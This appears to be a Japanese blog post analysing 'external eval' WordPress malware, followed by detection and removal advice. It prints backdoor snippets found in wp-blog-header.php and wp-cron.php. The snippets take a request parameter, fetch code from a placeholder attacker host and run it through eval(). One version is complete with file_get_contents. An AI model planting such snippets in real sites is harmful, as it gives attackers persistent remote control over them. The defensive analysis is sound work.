Wordpress「外部eval型」のマルウェア感染手口の解説
WordPressマルウェア感染コードの読み解きと対策
WordPressサイトに仕込まれる代表的なマルウェア3ファイルを例に、
「どこで」「どうやって」感染コードが動くのかを解説します。
実際のドメインやパラメータ名はすべてダミーに置き換えています。
1. 感染の全体フロー
`session_start()` 直後にリクエストパラメータをチェック
不正パラメータ(例:`$_REQUEST['payload']`)があれば外部からスクリプトを取得
`eval()` で一気に実行 → サイト全体を乗っ取る
処理後は `exit;` して元のWordPress処理はスキップ
2. wp-blog-header.php の要点
<?php
// (省略:WordPressコア処理)
// —————— ここから感染コード ——————
session_start();
// 攻撃者が用意したキーでパラメータを受け取る
$payloadKey = $_REQUEST['payload'] ?? '';
if (! empty($payloadKey)) {
// ダミーの悪性ドメイン/パスを構築
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on' ? 'https' : 'http')
. '://[evil-domain].com/' . $payloadKey . '.txt';
// 外部スクリプトを取得する関数(省略可)
function fetchRemote(string $u): string {
// ここでは cURL や file_get_contents のサンプルをマスク
return '[取得したスクリプト本体]';
}
// 取得したコードを一気に eval で実行
eval("?>". fetchRemote($url));
exit;
}
// —————— 感染コードここまで ——————
/* 以下、WordPress 本体の読み込み */
require __DIR__ . '/wp-load.php';session_start() の直後に乗っ取られると、全ページ共通で動作します。
eval() に渡す文字列は外部で自由に書き換えられるため、完全なバックドアになっています。
3. wp-cron.php の要点
<?php
// (省略:WP Cron の標準処理)
// —————— 感染コード ——————
session_start();
$key = $_REQUEST['payload'] ?? '';
if (! empty($key)) {
$url = (isset($_SERVER['HTTPS'])?'https':'http')
. '://[evil-domain].com/' . $key . '.txt';
// 上と同じ fetchRemote() を利用
eval("?>". fetchRemote($url));
exit;
}
// —————— ここまで ——————
解説
Cron 経由で自動実行されるスクリプトにも埋め込まれるパターン。
Cron ジョブが走るたびに感染コードが毎回動くため、発見が遅れると被害が拡大します。
4. .htaccess(変更なし)
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
解説
改ざんはないが各フォルダに
wp-blog-header.php、wp-blog-header.php、.htaccess
の3ファイルがセットで作成されていたので記載。
この記事はWordPressサイトで多く見られる「外部eval型」のマルウェア感染手口を解説しました。
1. 外部eval型とは?
外部eval型は、感染サイトのPHPファイル内に極めてシンプルな「外部から取得したコードを eval() で実行するだけ」のスニペットを埋め込み、以降の本体マルウェアを攻撃者サーバー側で管理する手法です。
感染箇所
wp-blog-header.php/wp-cron.php/テーマやプラグインのエントリファイル
基本フロー
悪意あるパラメータ受け取り(例:$_REQUEST['payload'])
攻撃者サーバーからスクリプトをフェッチ
eval() で実行 → 本体マルウェアを動的に展開
2. メリット・攻撃者視点の利点
利点解説動的更新本体ロジックを外部サーバーで管理するため、簡単にアップデート可能検知困難PHPファイルには「数行のfetch+evalコード」しか残らず、複雑なペイロードはネットワーク越し痕跡隠蔽サイト内に大きなマルウェアファイルを置かず、CLIやファイルシステムのスキャンを逃れる多段感染さらに別のサーバーやC&Cサーバーへ接続→持続的制御(Persistence)
3. 典型的なコードパターン
// —— 感染スニペット ——
// 1. セッション開始
session_start();
// 2. 攻撃パラメータ受け取り
$key = $_REQUEST['payload'] ?? '';
if (! empty($key)) {
// 3. 悪性 URL を動的生成
$scheme = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on') ? 'https' : 'http';
$url = "{$scheme}://evil.example.com/{$key}.txt";
// 4. 外部スクリプト取得
$code = file_get_contents($url);
// (cURL 実装も多い)
// 5. 取得コードを即座にeval
eval("?>{$code}");
exit;
}
// —— 感染スニペット終わり ——
ポイント
file_get_contents()/cURL で自由に書き換えられる
eval() の前後で exit し、WordPressコア処理をバイパス
4. 検知手法
静的コードスキャン
preg_grep('/eval\s*\(/', '*.php') などで疑わしい eval() 呼び出しを検出
file_get_contents/curl_init+eval の組み合わせを検索
ネットワークモニタリング
WordPressサーバーから不審な外部ドメインへのHTTPリクエストを検出
Proxy/WAF ログで .txt 取得や POST フィールド名の特徴(例:?payload=)をフィルタリング
ファイルインテグリティ管理(FIM)
重要PHPファイルのハッシュを定期比較し、改ざん時にアラート発報
ログの異常検知
Apache/Nginx アクセスログに ?payload= のような謎パラメータを確認
5. 防御・駆除対策
危険関数の無効化
; ── php.ini の一部([PHP] セクション内)に追記 ──
disable_functions = eval, exec, shell_exec, passthru※WordPress標準動作に影響しないか要検証
WAFルール強化
OWASP CRS などで外部にeval対象ファイルをフェッチする攻撃パターンをブロック
ファイル権限の見直し
PHPファイルをWebサーバーから編集不可に(例:chmod 444)
デプロイ時のみ一時的に書き込み許可
インシデントレスポンス
感染箇所(PHPスニペット)を全サイトから除去
攻撃者C&Cドメインへの通信をファイアウォールで遮断
パスワード・APIキー類を全てリセット
定期的な監査
プラグイン・テーマの更新
管理者権限ユーザーのログイン履歴チェック
6. まとめ
外部eval型 は「攻撃コードを最小限に留めながら強力な持続的バックドアを実現」する手口。
検知には「静的スキャン+ネットワーク監視」の両面アプローチが必須です。
防御では「危険関数の無効化」「WAF導入」「権限管理」が有効。
